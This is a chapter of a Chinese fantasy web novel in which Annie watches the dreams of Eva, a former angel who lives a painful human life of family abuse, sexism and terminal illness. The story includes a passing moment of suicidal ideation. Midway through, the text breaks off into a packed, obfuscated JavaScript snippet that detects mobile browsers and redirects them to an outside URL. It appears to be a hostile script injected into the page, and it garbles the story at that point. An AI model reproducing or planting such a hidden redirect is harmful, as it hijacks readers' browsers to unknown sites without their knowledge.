不远处,忽然传来一个声音。 “又有空间裂缝了,辛诺你去吧。” 平淡的、理智的,仿佛这就是日常。而安妮听到这个声音,身形一顿。 她似乎是自由的,轻轻松松就能围着面前的女人转。于是,安妮转到女人的正面,但随后,她傻了眼。 不是辛诺,是伊娃。 还没反应过来,伊娃已经飞行起身,安妮赶紧跟上。她抽空看了眼环境,是星月城。 琪柯说过,天使的名字,都叫辛诺。 伊娃也承认过,她曾经是天使。 所以,现在是伊娃的记忆? 但又好像不是,因为她过去进入过莱沃的记忆麦田,那是一种别样的感觉,最大的特点就是她只能待在莱沃身边。 但现在的她更像是用上帝视角观看着一切,哪里都可以去。 跟着伊娃,只是条件反射。 一人一魂就这样飞到了一个陌生的地方,随后,安妮看到了那把剑。 审判巨剑散发出神圣的金黄色光芒,冲向裂缝。伊娃列阵,将裂缝努力收拢,而巨剑则化身一根金色的针,一点一点开始缝合。 一切都显得十分顺利,直到,一团黑色的烟雾出现。 安妮不知为何,竟然在其中感受到了一丝不安。 “合!” 裂缝被合上,与此同时,烟雾消失。安妮环顾四周,漆黑的烟确实已经消失不见。 而看见伊娃紧蹙的眉头,安妮知道,不是没了,是被吸收了。 她条件反射般,伸出手想触碰伊娃。但她穿了过去——也在意料之中。 看来,这一切都是已经发生过的事情。 她或许,来到了一个不得了的地方。 面前,伊娃捏着眉头,似乎不太舒服。安妮跟着她慢悠悠飞回去,看到了查瑞尔和格雷斯。 尽管两人都有些不同,但安妮认得出来。 真的是星月城。 “辛诺,你没事吧?怎么感觉你不太舒服?” 查瑞尔还是那么温柔,除了漆黑如瀑的头发,一如当初安妮看见的那样。格雷斯的眼睛亮闪闪的,倒是让安妮有些不适。 记忆中,她的眼睛好像是重瞳的,仿佛本来的眼睛灰蒙蒙的,只是覆盖上了金色的眼眸,但安妮也记不清了。 她只是看着伊娃摇头,表示想睡一觉休息一下。 半神按理说是不需要休息的,伊娃的需求很奇怪,但晚上巡逻的本来也不是她,因此大家都没说什么。伊娃就这样再次飞走,飞到属于自己的房间。 那个当初在无妄空间,她描述得最清楚的房间。 安妮看着伊娃闭上眼,就坐在床边等待。 在莱沃的记忆麦田里,安妮只能化身灵魂待在莱沃身边,而莱沃睡觉的时候,时间也会被快速跳过去。 但是这一次,安妮等到了伊娃呼吸均匀,都没等来熟悉的时间快进。 她有些疑惑。 或许,这不是伊娃的记忆? 面前的伊娃皱起眉,应该是做噩梦了,安妮下意识想要抚平她紧蹙的眉头,触碰到伊娃额头的一瞬间,眼前却闪过什么。 是梦境的画面。 她任由意识被拉进空间,下一刻,出现在小伊娃旁边。 这次的情况变了,她被禁锢在小伊娃身边,有了那种熟悉的感觉。 大概梦境的主体是伊娃,所以她离不开吧。 安妮还没适应自己的形态,忽然发现,这个梦好像有些不对劲。 世界多了些奇怪的生物,伊娃也多了些奇怪的举动。但是灵果消失了,很多动植物也消失了。 有多有少——一切都是那么熟悉又陌生。空间还是那个空间,世界也还是存在的,但有什么东西变了。 伊娃不再吃灵果,不再靠皮肤释放秽气,她有了动物受冻才会挂在鼻孔的鼻涕,有时还是黄色的。 厨房多了不知名的生物,和甲壳虫有些类似的皮肤,长着翅膀,肚大膀圆,细长的两根触须,看得安妮恶心。 天空不再有繁星闪烁,月亮出来的次数屈指可数,空气中弥漫着科技的气息,电视、手机这些东西相继出现。 其实,面前的电视好像很不错,上面都是安妮不曾见过的画面。五彩缤纷、稀奇古怪。 还有很多书籍,上面描述着很远很远的世界。白皮肤、黑皮肤的人类,应该是这个世界的种族,就像源大陆的妖族人族…… 伊娃的成长很快,她得到信息的方式大多来自一个叫“电视”的东西。安妮也很感兴趣,经常跟着她一起观看。 然而,就在她又一次沉浸在电视中时,一个哭喊打破了宁静。 是伊娃尚在襁褓的妹妹。 她从床上掉了下来。 伊娃刚刚站起身,还没来得及动作,就被进门的两个女人推开。年纪大的那个抱着孩子,更年轻的那个则是在旁边帮忙。 动作各不相同,但哭喊声中,两人不约而同地,朝着伊娃皱眉。 “就只知道看电视,不知道看好你妹妹吗?” “电视就那么好看?你妹妹摔下来都不知道搭把手!” “看看看,不准看了!没良心的东西!” 怒斥、责骂,让安妮有些手足无措。 被责怪的不是她,甚至没人看见她。但她仿佛成为了伊娃,直挺挺地站在那里,低着头一声不吭。 身边,看不清伊娃的表情。 时间一晃而过,梦境总是很快。 安妮习惯了排泄,习惯了鼻塞,也知道了细菌,知道了瘟疫。这个世界应该就是伊娃所说的另一个世界,她对它避之不及,但安妮觉得,也没那么可怕嘛。 直到这一天,伊娃被喊上了餐桌。 连带着的还有已经长大的妹妹,两个女孩站在凳子边,眼神懵懂。 然后,面前的大人开始七嘴八舌。 “你们爸妈每天多辛苦你们知道吗?大热天在灶台前面忙,你们在家吹风扇!” “一点不知道给家里分担,就想着玩,你们爸妈为了让你们在这里读书,求了多少人,费了多少事!” “你们扪心自问一下,对得起爸妈吗?叫你们做点事就垮着个脸跟谁欠你们一样!” “就你们这个年纪,放在我们那个年代都已经上山去割猪草了,哪像现在,每天吃好喝好!” 震耳欲聋的喊声,撕心裂肺的哭诉,充斥在伊娃耳边,也充斥在安妮耳边。 她只能手足无措地看着伊娃,什么也做不了。 铺天盖地的责怪仿佛一把把尖刀,凌迟着伊娃弱小的身体,和安妮幼小的心脏。餐桌上,大人们仿佛要把生活中所受的一切苦难宣泄出来,而她们毫无疑问成为了那个垃圾桶。 僵硬之际,一个眼神吸引了安妮的注意。 是一个亲戚的孩子,一个年纪比伊娃稍大的男孩。 他的眼中,是复杂的心疼,是纠结后的无奈,是悲伤、是愧疚……安妮恍惚间想起来,梦境里的伊娃好像叫他“表哥”。 他们一起玩闹过,他带着伊娃做过很多稀奇古怪又略带叛逆的事情: 偷喝家里泡的葡萄酒; 看恐怖片看到凌晨; 吃饭吃不下悄悄倒掉; 往衣服袖子上倒水试验衣服的防水性…… 但只要家长知道做这一切的是他,那些贬低就会变成“勇敢”、“古灵精怪”的称赞。 他说他心疼伊娃这些被压迫的女孩子,他说他绝对不会成为那些迁怒伊娃的大人,他曾经在伊娃被辱骂的时候顶嘴,他曾经在母亲被父亲打时挺身而出…… 即使伊娃还是会被叫上餐桌,被训斥到哭,即使偶尔她还是会被父亲责怪好吃懒做,被凌晨叫醒带去店铺“帮忙”,但安妮觉得,世界好像还有救。 直到这一天,梦境又变了。 安妮和伊娃来到了一个新地方,据说更加繁华,他们这些穷人生活也更加困难。 但是爸妈还是会去打牌,爸爸还是会喝酒。 不过现在,伊娃总算不用被叫上餐桌一遍又一遍凌迟了,大概是因为那些亲戚不在了,父亲不需要再展示权威。 但是有了新的方式。 英语。 那是一种不同于圣语,但和圣语相似的语言。 看到的第一眼,安妮就觉得眼熟,可惜伊娃不觉得。因为此刻的她只是一个生活在世界内的小孩子。 不过大概是有着对圣语的熟悉,伊娃对英语的学习还不错。 但这个不错仅限于“老师”和“同学”。 因为过去的学校不学习英语,伊娃只能找学姐借书追赶大家的进度,从零开始。 而伊娃的父亲总是能在英语书上找到伊娃不认识的单词,然后责怪她不好好补习,即使那个单词来自老师没教过的地方,来自出题的地方,来自各种不需要学习甚至不会考到的地方。 这是一种全新的折磨,因为伊娃父亲的责骂会持续一两个小时。每当这个时候,安妮只能被迫站在旁边,跟着被骂,哪也不能去。 而天黑后,伊娃要为这损失的时间补作业,更加急地补习,安妮只能跟着。 如果伊娃的父亲半路被打牌的叫走,时间可以被缩短,但大多时候没有。于是责骂之后,还有憋屈的学习。 有时候,她都在想,为什么梦境要那么真实,那么漫长,这些痛苦的经历就不能跳过吗。 这些没有跳过,被跳过的是另一段生活。 伊娃的妹妹来之前的生活。 为什么是来之前?因为她来之后,平静就被打破了。 安妮站在伊娃身边,和她一起经历。 妹妹不做任何家务,地脏了,伊娃正在写作业,被叫去扫地,还必须笑着。父亲说家族的规矩就是大的让小的,你不服就滚; 吃饭的时候,伊娃运气好夹到一块鱼泡,还没吃,被妹妹抢筷子。她阻止的下一秒,碗被端到妹妹面前; 伊娃的成绩很好,一学期十几张奖状不重复,然后妹妹在伊娃读书的时候把所有奖状都撕掉了,爸爸责怪伊娃不把奖状放好…… 压抑的家庭,仿佛要把伊娃累垮,但是她又遇到了希望。 学校里, 许许多多帅气的小男生会和她打游戏,博学的同桌会教她数学附加题; 许许多多可爱的小女生会陪她谈天说地,和她交流分享生活; 老师最喜欢她这样乖巧听话的孩子,总是夸奖她、鼓励她,甚至会把爸爸叫到办公室责骂,不准他打牌。 后来的又一次,伊娃放在柜子里当早餐的面包被妹妹吃掉了,妹妹却没告诉她。直到上学的前一刻,她才知道一切,然后父亲唯一的评价是:活该,自己不放好。 安妮看见伊娃哭着跑走,什么也没吃,什么也没有。她跟着伊娃,一直跑到学校,张嘴却不知道该说什么。 伊娃就那样哭到了做早操,这是她第一次把悲伤展示给学校。 伊娃的老师叫陈莉,是一个戴眼镜的短发女人。发丝垂落到肩膀,镜片似乎都散发着精明利落的光芒。 她把同学们带走,然后把伊娃带去办公室,询问原因。 当看见老师给伊娃的有零有整的一百多块,安妮忽然觉得,尽管生活还是千疮百孔,但这个世界好像也还有希望。 表哥和伊娃决裂了。 什么时候不知道,只知道伊娃再也不会在孤独的时候纠结要不要找表哥,再也不会时不时去经常和表哥玩耍的地方散步,再也不会缠着表哥打球下棋玩游戏…… 也可能是因为,表哥开始在餐桌上奉承爸爸和表叔,开始亲口跟她说不喜欢女朋友,只是适合结婚,开始嫌弃自己的妈妈,再也不觉得她辛苦。 但是伊娃来不及悲伤,安妮也来不及。 因为伊娃的表叔和表嫂闹离婚了。 安妮不知道为什么会有婚姻这个东西,不知道男女之间为什么要维持关系,将近一百年的寿命里,竟然有六十多年都被婚姻捆绑着。 她只知道婚姻没给伊娃的表叔和表嫂带来什么好处:起码她没看到。 她看到的是伊娃的表叔喝醉酒后回家,对表嫂和表弟抡起的酒瓶,是伊娃的表嫂终于在一次声嘶力竭、离家出走的反击中选择离婚。 哦,还有伊娃和妹妹因为看到一切没有及时通知大人,被惩罚跪在地上的身影。 尽管她们不知道为什么这次的争吵要叫人,安妮也不知道。 她只是陪着伊娃,在冰冷的地面上站着。恍惚间,她听见伊娃妹妹的呢喃:“神经病。” 安妮才想起来,伊娃的妹妹和伊娃之间的气氛好像没有那么剑拔弩张了。 什么时候开始的,安妮一样不知道。她只知道小事上妹妹好像被优待着,但还有一个比她更受宠的人。 是骂人都会被称赞“直率”,从来不做家务的表弟。 安妮时常听到妹妹抱怨“重男轻女”,尤其是在奶奶因为她说“锤子”责怪地扇她嘴巴,却不管表弟的时候。 于是,曾经压迫伊娃的妹妹开始和伊娃同仇敌忾。 这大概是“嫉妒”的力量,曾经的安妮对这情绪浅尝辄止,如今终于理解深刻了。 在这个世界,大家都要遵循一种名为“法律”的东西。 但男人似乎比女人力气大很多,先天的优势让他们总是能轻松伤害女人,而法律对女人的保护并不足够。 结婚后女人被打,法律管不着,出去吃个夜宵被搭讪,冷脸被打,法律轻轻揭过……甚至再远一点,很多山村的女孩刚出生就被遗弃,很多女孩一辈子走不出山村…… 这些,都是安妮后来才知道的。她和伊娃一样,只在手机上看到过这些文字,但光是看到,就觉得触目惊心。 她想到过去对蒂尼的嫉妒,忽然觉得可笑。 单纯得可笑。 一个幸福的人,有什么必要嫉妒比自己更幸福的人。 伊娃要高考了。 高考是这个世界最区别于源大陆的东西。 在这个世界,学院分为小学、初中、高中和大学,而学子们在统一的时间进入小学和初中进行学习,再根据实际情况,选择进入高中或停学。 高考就是高中生进入大学的方式,就像是每年光明学院的考核。但这是统一考核,全国进行,只是区分试卷的那种。 大学越好,以后生活越好,这是大家的共识。 伊娃的父亲执意把她带到这样“高贵”的县城,就是为了让她接受更好的教育。尽管父亲对伊娃很严苛,甚至严苛到变态,但这也是生活给他的压力太大的原因。 想要逆天改命,谈何容易。 好在伊娃的成绩还不错。 尽管准备高考之前,隔壁在凌晨隔三差五传来表叔约酒的吵嚷,有懒惰不想备课的老师时常讲个作业就是一节课,但伊娃还是考上了微末的重点。 就是那种很偏远地区的重点,因为地处偏僻环境恶劣,收分比较低。 伊娃来自“南方”。 这也是世界和源大陆很大的区别。 源大陆受灵气影响,地区分布没有规律,恕瑞玛沙漠旁边就可以是灾难丛林,甚至没有河流。但是这个世界的一切都是那么合理,沙漠和森林之间必须有草原,而地理必须遵守天理。 安妮才知道,原来有地方常年和极寒冰原一样寒冷,原来有地区恶心的虫子老鼠生长得很小。 这些区别还有很多,也许安妮是了解过的,但此刻才深刻认识到一切。 北方,那是冬天会下雪的地方,也是伊娃上大学要去的地方。 为了上大学,伊娃必须学会自行车。 大学是一座很大的学府,可能比光明学院小,但是这个世界的学生可没有他们那样的速度。 源大陆的半神伊娃随随便便能跳几米远,能蹦几米高,甚至张开翅膀就会飞,捏个咒语就能下海,但是这个世界的伊娃不行。 她的体育甚至都免考了几项。 安妮原本以为,伊娃学习自行车会是很无聊的过程,毕竟那是作文里谈论“我的第一次”都显得烂俗的话题,但不是的。 伊娃学得很辛苦。 现在伊娃的爸爸已经不会随意责骂她,不会心血来潮让她凌晨起床,不会做很多过去让伊娃厌恶又害怕的事情。 他自认为成为了一个开明能干的父亲,于是主动接过了教学伊娃自行车的任务。 然后大街上,不断传来女孩的痛哭和男人的责骂。 安妮还是站在旁边看着,看着伊娃甚至不敢触碰父亲的手,不敢掌握方向,什么都不敢…… 她看着伊娃一遍遍摔下去,一遍遍委屈地哭泣,此时的伊娃不再是胸有成竹的天使,脆弱得仿佛一推就倒。 伊娃的膝盖终于被摔破,汩汩的鲜血流出。 然后,父亲走了。 安妮看见伊娃跑到了不远处的水果摊,站定。她看着西瓜上那把锋利的刀,泪眼朦胧。 不知为何,安妮耳边传来一个声音。 传来一个字。 她好像知道了伊娃的意图,赶紧去拉伊娃的手。可这次,还是无力地穿了过去。 沉默在蔓延,世界安静下来。 连安妮都不知道,应不应该阻止这一切了。 就这样结束,伊娃能醒过来,也好吧……她会发现这一切都只是一场梦,后怕之余,会庆幸经历一切的不是她。 漫长的等待在父亲的回归中结束,他终于不再要求伊娃学自行车。 两人就这样回家,若无其事得好像什么都没发生。 但是伊娃的伤口还在,上药的时候,安妮也在旁边。抿唇颤抖的伊娃就在眼前,恍惚间,她回忆起自己第一次受伤的时候。 因为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296912|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安妮已经忘记了,只记得自己在凯德阿姨面前痛哭的样子。 原来,没有人看着的时候,疼痛是安静的。 伊娃的大学很远,行李很多,没办法,那里太冷了。 安妮一直都知道“火车”、“轮船”和“飞机”的存在,但这是她第一次坐火车。 也是伊娃第一次。 很可惜,不是卧铺,是硬座。 伊娃的膝盖就那样,破着皮,弯在狭小的车厢里。偶尔不舒服了,伸一伸,会踢到各种东西。 坚硬的桌脚,坚硬的椅子腿,坚硬的车墙壁……安妮看见,每当伊娃龇牙咧嘴吸气的那一刻,身边的父亲都会露出一个满意的笑容。 旁边的乘客看不下去了,出声。 “哎哟,这膝盖怎么破皮流血了?” “学自行车摔的,笨死了,给她那么多时间都学不会。马上要上大学,我早跟她说了学车学车,自己不听。” “这伤口缩着怎么行?都要上大学了,升级个卧铺吧。” “不需要,我们没钱,供她来城里读书都不错了,结果成绩还不上不下的,考个这么远的大学,活该。就是让她知道没钱的辛苦,以后才会好好学习。” 安妮不明白,为什么每当伊娃的父亲说到“没钱”,都非常自豪,好像这是什么了不起的事情。 她只能和那个乘客一样,同情的看着伊娃,什么也做不了。 伊娃的运气在学习上总是很好。 这不是说她蒙的全对,而是每次遇到的老师同学都很友善。 友善得在那个教学工资几百的时候,会拿出一百多让伊娃买早饭,买自己需要的东西,自己想要的东西。 初中、高中的老师同学,无一例外都很友善。 而手机上说的尖酸刻薄的大学舍友,伊娃也没遇到。 她遇到的是五个善良的女孩子。 会在伊娃初来乍到不知道地点的时候,看着自己也才拿到的地图,陪伊娃一起找教室上课; 会在严冬酷暑伊娃不想动弹的时候给她带饭带饮料,教她购买需要的生活用品,还有使用水卡饭卡; 会时不时提醒伊娃锻炼,分享生活的经验,在伊娃抱怨问题的时候帮她想解决办法。 生活再次变得平静而幸福,即使伊娃会在讨要生活费的时候愁眉不展,会为不上不下的成绩和锻炼都起不来的体育苦恼,安妮还是觉得,伊娃熬出来了。 然后,伊娃的妈妈死了。 伊娃的妈妈很特殊。 她是一个勤劳的女人,可惜后来迷上了打牌。后来她患病了,只能被困在小小的客厅,睡觉都是坐着。 后来她只能依靠手机自娱自乐,时不时成为父亲告诫伊娃“无权无钱无亲戚”的例子。 后来她和妹妹生活在小小的房间里,初中的妹妹给她准备饭食,她只能饥一顿饱一顿,兜里时不时揣着不知道哪来的面包。 这些都是伊娃上完大学,放假回家看到的。 她能做的只有保证妈妈的干净整洁,在饭点做一顿能吃的饭,仅此而已。 但伊娃的妈妈还是死了。 死在伊娃的假期。 也好,伊娃的妈妈生前,最担心的就是伊娃,但至少现在伊娃还活得很好。 安妮这样安慰着自己。 直到那一天晚上。 伊娃摔倒了。 在结成冰的地面,她不熟悉的北方。 她没有看手机,被搀扶回宿舍后,在床上安安静静躺了一个多小时。她以为这次还和之前一样,只要不吭声,事情就过去了。 但是没有,胯骨越来越疼。 安妮看见伊娃头发湿了,面色苍白。 室友连夜把她搀扶下楼,叫来救护车。安妮跟着伊娃被运往校医院,然后是一连串检查…… 伊娃迷迷糊糊睡了又醒,醒了又睡。 安妮就坐在旁边,哪也去不了。但是她看见伊娃的寝室长和班长,甚至还有她最亲近的朋友都在。 墙上的挂钟指向一,秒针还在滴滴嗒嗒走着,如同安妮躁动的心。 这个夜晚,除了当事人,谁也没睡。 最后伊娃还是回寝室了,带着一大堆药,还有最爱美却长出黑眼圈的寝室长,和她仅有几面之缘却来来回回为她奔波的班长,以及承诺每天给她带饭的舍友。 一切好像又回归了正轨,安妮陪着伊娃在寝室上网课,看着她一点点好转,却一次次在深夜辗转反侧。 伊娃最后还是在假期回了家,那个南方的家。 然后,她再也没有回学校。 因为医生诊断出她有遗传病,不治之症。 和妈妈一样,终究会变得话都说不清,手脚哆哆嗦嗦,甚至小便失禁,站都站不稳。哪一天就瞪着眼珠,在暗无天日的逼仄房间死掉。 唯一活长久的办法是保持乐观的心态,不喝酒抽烟,健康生活。 别的没了。 其实,很早之前就有预兆的。 伊娃瘦弱又胆小,妹妹健康又大胆,谁遗传谁,一目了然。 走出医生办公室的那一刻,伊娃笑了出来。 安妮听见她说,“我就说一直锻炼没用,浪费我时间和精力”; 安妮听见她说,“我说了我有病骑不了自行车,他还不信”; 安妮听见她说,“这下不用再检查了,医生都说不需要吃药”。 是的,为了给伊娃检查,家里其实花了很多钱。 自诩穷人的爸爸,一次又一次让伊娃去骨科医院,一次又一次砸下好几张卧铺的钱,只希望伊娃可以痊愈。 但是没有痊愈。 可能他也猜到了一些的,就在伊娃打死学不会自行车,他跑走回来,还带着泪痕的那天。 但是他还是打算让伊娃读完大学,尝试着拯救她。 可惜,没有成功。 伊娃停学了。 她在宿舍群说了个大概:只有一个群,没有七八个,所以亲手打的字。 安妮看见她打了又删,删了又打,一串文字终于发出去。 伊娃最后收到的,是舍友帮她整理寄过来的被褥、衣服和一些小东西,以及,她们送给伊娃的礼物。 安妮看见,不会写诗的舍友这次联合起来写了一首诗,还给了伊娃一个银手镯,一颗香香的石头。 会写诗的是伊娃。 第一次看见伊娃写诗的时候,安妮还很惊讶。后来伊娃用诗词表达情绪,甚至给朋友庆生。 现在,伊娃终于可以肆无忌惮地写诗了。 伊娃的病影响平衡,但现在还不严重。她看起来就像一个瘦小的正常人,唯一的问题就是太矮。 所以,趁着她还能走,伊娃的父亲让她去表嫂所在的地区玩一下。 表嫂和表叔的关系很奇妙,表叔找了新欢,表嫂也找了,但是他们还联系着,就像普通朋友。 但是表叔和伊娃的父亲和表嫂经常互相贬低——他们应该也知道。安妮不明白,为什么伊娃的父亲会同意让伊娃去表嫂那里玩。 但总之伊娃去了,带着父亲给的钱。 坐的飞机。 安妮陪伊娃放松了很久,放松到她都忘记了现实。 直到她和伊娃一起,面对着伊娃苍老的父亲,听到了他的承诺。 “还想去哪里,做什么,我都尽力帮你完成。” 毕竟,以后没机会了。 这是安妮第一次看到,这个老父亲对子女最真诚的关爱。 或许他是不优秀的,他给伊娃的童年造成了不可磨灭的伤害,把伊娃培养得胆怯又懦弱。但他又是合格的,他从未抛妻弃子,全程操办妈妈的葬礼,如今还如此帮助伊娃。 安妮看见伊娃摇头,抱着电脑默默离开。 那是为了方便她上大学,父亲出钱买的电脑。 后来的一切又越来越快,直到这天,伊娃有了男朋友。 其实很久以前,安妮就发现了,这个世界和源大陆最大的区别不是地理,而是人。 这里只有一个有智慧意识的种族,那就是人族,而人族分的男女,并不是单纯的性别区分。 还有器官。 男人比女人多的,不仅是力气。 伊娃这个网上的男朋友约她见面,伊娃答应了。 安妮大概能理解一点:在疾病没有汹涌而至之前,她想体验一下这个世界的男欢女爱。 不管有没有过去伊娃的记忆,这都是很正常的,换做安妮自己都会这么做——无关乎木木,无关乎忠诚。 为什么男女会有婚姻,孩子的诞生条件变成了什么,男生女生的区别到底是什么,色欲真的既是享受又是罪恶吗…… 一切的一切,安妮都想知道。 那个人到了。 伊娃打扮一番,去了宾馆。 一切都是那么顺理成章,安妮跟在伊娃身后,朝电梯走去——她已经知道这个形似科瑞特传送管道的东西。 但忽然,失重感传来! 36. 36 “辛诺!你睡着了吗?” 查瑞尔的声音把安妮拉回现实,她坐起身,眼中,是和伊娃一样的迷茫。 这是哪? 哦对,她进入了伊娃的梦境,刚才的一切只是幻象…… 星月城,辛诺伊娃,查瑞尔格雷斯,才是现实…… “你这是干嘛?她就是睡着都被你吵醒了!” 查瑞尔身后,格雷斯责怪道。 “哎呀,我就问问,没回不就走了吗?”查瑞尔说完看向伊娃,“你都睡了三天三夜,还没睡醒,说,到底做什么春秋大梦去了?” “梦……” 伊娃呢喃着,语气充满迷茫。 只有安妮知道这一切,并且理解着,因为她也没回神。 那些痛苦都如此真实,真实得无暇思考其他。 “你或许需要安静一下。” 查瑞尔说完,转身,拍拍手,紧接着,一段悠扬的琴声传来。 空灵悠远,让安妮一瞬间联想到了自己在无妄空间听到的音乐。就是那首歌让她沉睡,唤醒了她的第二人格,而如今,是相同的乐器。 音乐不相同了,是一段没有歌词的轻音乐。 轻柔、宁静,仿佛潺潺的小溪,流水荡涤过心灵。 若放在往常,伊娃应该是享受的,但此刻,这琴声只让她联想到自己在梦中为数不多的平静生活。 那是暴风雨前的宁静。 “别谈了!” 伊娃皱眉,琴声戛然而止。 查瑞尔无措地眨眨眼,挥手,身后多了几颗星星。 “让我安静一下。” 查瑞尔挥到一半的手停下、顿住,身后的星空似乎也卡了壳,寥寥的几颗星星干巴巴挂在上面。 身边,格雷斯拍拍查瑞尔的肩膀:“让辛诺自己待会吧。” 说着,女人率先离开。 “那辛诺,你有什么事就叫我。” 查瑞尔不知道,这句话,和伊娃梦中遇到的舍友在她摔倒后跟她说的嘱咐,一模一样。 安妮知道。 她陪伊娃一直从天黑坐到了天亮,看着自己还是触碰不到分毫的形体,安妮忽然意识到,无妄空间里陪伴自己的伊娃有多重要。 曾经的她还有伊娃安慰,可现在的伊娃没有她。 安妮只能看着伊娃魂不守舍地闭上眼睛,再次蹙眉,似乎陷入梦境。 她知道,这一次沉睡,看到的会更加可怖。可她受虐般,毫无迟疑地就要进去。 但嘈杂的动静打断了安妮的动作。 是不设防的查瑞尔,身后还有轻盈如风的格雷斯和缪斯。 “就是做梦之后,辛诺就这样了,梦里肯定有什么!但是辛诺为什么不告诉我们呢?难道是梦境里的东西她不能说?” 不得不说,查瑞尔很聪明,一下就猜到了关键。 但不是不能说,是说不出来。 要如何描述,一个地方的人没有灵果,男女的身体构造不一样,还有与生俱来的男尊女卑,各种黑暗、压抑…… 甚至这一切还只是冰山一角,她都还没接触到色欲的真面目。 要如何描述,那个复杂而真实的世界? “别担心,你忘了还有我?” 格雷斯说完,那双亮闪闪的眼睛眨了眨。 她走到伊娃身边,伸出手。阵纹浮现,是真相之眼的力量。 安妮不认识,但她知道,这个阵法一定是能帮助格雷斯看到什么的,一如当初,什么都逃不过她的眼睛。 伊娃现在的梦境也一样。 安妮静静等待着,却只等到格雷斯剧烈的后退、痛苦的哀嚎、不明意义的呢喃。 “结合……” “欲望……” “生命……” “不,不是这样的!不……” “啊!不是不是不是!” 一向理智的格雷斯头一次这么疯狂,以至于查瑞尔和缪斯反应慢半拍,才把她禁锢住。 混乱。 安妮看见,那双亮闪闪的眼睛暗淡了下去。 是在这个时候吗? 她已经习惯了袖手旁观,于是就那样,看着查瑞尔和缪斯一左一右把格雷斯带走。 格雷斯的话,她们应该是不懂的,就算听到也不懂。但是安妮知道,也懂得,或者说猜得到。 男女不同的身体,是要结合的,而结合产生欲望,这个过程还会诞生生命。那么神圣的生命,在另一个世界,和色欲挂了钩。 它不是相爱的结晶,不是意志的结果,不是两个人情到深处心甘情愿孕育的东西,而可能只来自单纯的,色欲的满足。 难怪,查瑞尔一直说“不是”。 单纯高傲的神,如何能接受,生命这样的诞生方式。 安妮一直陪着伊娃,直到她再次苏醒。 这个过程没有持续多久,因为梦境似乎带着痛苦转移到了格雷斯身上,安妮没有再在伊娃身上感知到梦境。 而没有做梦的伊娃,苏醒得很快。 她醒来后,看见的,是空空如也的卧室。 透过那落寞的眼神,安妮好像看到了名为“孤独”的情绪在蔓延。即使无法倾诉、无法分担,她还是希望身边能坐着一个沉默的人吧。 可惜,现在没有。 伊娃站起身,走出房间。阳光照在她身上,金黄色的铠甲反射出耀眼的光芒。 她走到查瑞尔的房间,叩响房门。 开门的是缪斯,她手上,是安妮熟悉的星月牌。 “这两天帮查瑞尔巡下逻,她……她的诞生之日快到了。” 我们要帮她庆祝,所以你去干活。 很蹩脚的理由,可惜现在的伊娃察觉不到。她大概是忘记了,这个世界的人根本不会庆祝诞生之日,也就是所谓的生日。 伊娃接过星月牌,只留下一句话。 “生日快乐” 她没注意到缪斯错愕的眼神,转身得那么果断。 安妮头一次有些着急,她想让伊娃进门看一看。 只要走进去,她就能看见虚弱的格雷斯,看见在旁边拼尽全力净化黑暗的查瑞尔,看见缪斯断裂的清音琴弦。 可是没有,伊娃走了。 只留下安妮站在原地,不知所措。 很多遗憾就是这样,悄无声息地发生了,悄无声息地捏造出误会,然后把幸福拖入深渊。 安妮纠结片刻,最后还是决定跟上伊娃。 毕竟星月城始终在这里,但伊娃要去哪,她不知道。 伊娃也不知道自己要去哪。 现在还没到夜晚,手里的星月牌却凉得烫手,让她想丢了。 但最后伊娃还是停住了,然后找了处断崖。 坐上去。 安妮发现,好像很多人都喜欢断崖。 这确实是一个好地方,想象着自己跳下去,生活的痛苦只能被迫和自己一起终结。但是回过神,自己还在云层之上,享受着微风。 她还是坐在伊娃身边,就像之前无数次,坐在伊娃狭窄的木桌边,陪伊娃写作业。 但是这一次,有什么变了。 安妮的眼前,忽然出现一个影像。 那不是梦。 安妮很确定,不是梦,但确实是幻觉。 就像那个世界存在的录像一样,你在旁边观看着,却又仿佛感同身受。你是观众,也是主角。 此时,伊娃就变成了录像里的小女孩。 只有片段,很多片段。 片段里,小伊娃背着比自己还高的背篓上山割猪草,喂鸡喂鹅,做各种家务,手指被植物划伤,或者受冻开裂。 下一秒,她出现在一间砖瓦房。穿着围裙的妇人正抱着怀里的孩子轻哄——不知为何,安妮就是知道,那是伊娃的弟弟。旁边浑身酒气的父亲一脚踹在小伊娃身上,让她去做饭。 最后,是伊娃被卖给老鳏夫做媳妇的画面。那张伊娃的脸上终于浮现出决绝,场景在一片火海中达到混乱的巅峰。 伊娃烧的是自己家,死掉的是家人,所以最后安妮看到的,是伊娃父母和弟弟愤恨绝望的脸。 而那个此时才十二三岁,就会对伊娃拳打脚踢,骂她“赔钱货”的弟弟,面容忽然开始模糊,最后……变成了查瑞尔。 安妮大骇,看向旁边。 伊娃的脸上,是同样的决绝。两个伊娃年轻的面容似乎重叠起来,一样的神情,一样的气势。 她是观众,也是主角。 她体会到了嫉妒。 安妮跟着伊娃到处飞行着,尽管没有握着星月牌,还是把地面的一切看得清清楚楚。 因为这是真相,不是记忆。记忆模糊的地方,真相不会。 就像她知道查瑞尔、格雷斯和缪斯是被迫受伤,找借口隐瞒,不是真的放弃了伊娃。 伊娃不知道。 巡逻完毕已经是第二天清晨,晨曦照在身上,安妮却感受不到一点暖意。她亲眼看着伊娃归还星月牌,然后被拒之门外。 里面更严重了,查瑞尔已经开始调动星辰的力量,她的头发一点点变得灰蒙蒙,安妮知道,最后,还会变白。 可是伊娃还是不知道。 她只知道,那个世界的自己,生日只有一个朋友记得,十八岁那天家里没有一个人问候。 哦,是有的,表叔给了她几十块钱,让她自己买菜在家做。 她还知道表弟的生日是在一群被邀请的亲戚面前分的蛋糕,表叔甚至发视频,纪念了他打开礼花筒的那一刻。 几岁生日她忘了,但不重要。 反正,都是嫉妒的温床。 安妮就这样看着,伊娃的眼眸越来越灰暗,幻境越来越多。 是的,幻境还在,格雷斯的查探只是分享了伊娃一部分的痛苦,安妮猜测,应该是色欲。 而还有六原罪,在蚕食伊娃的理智。 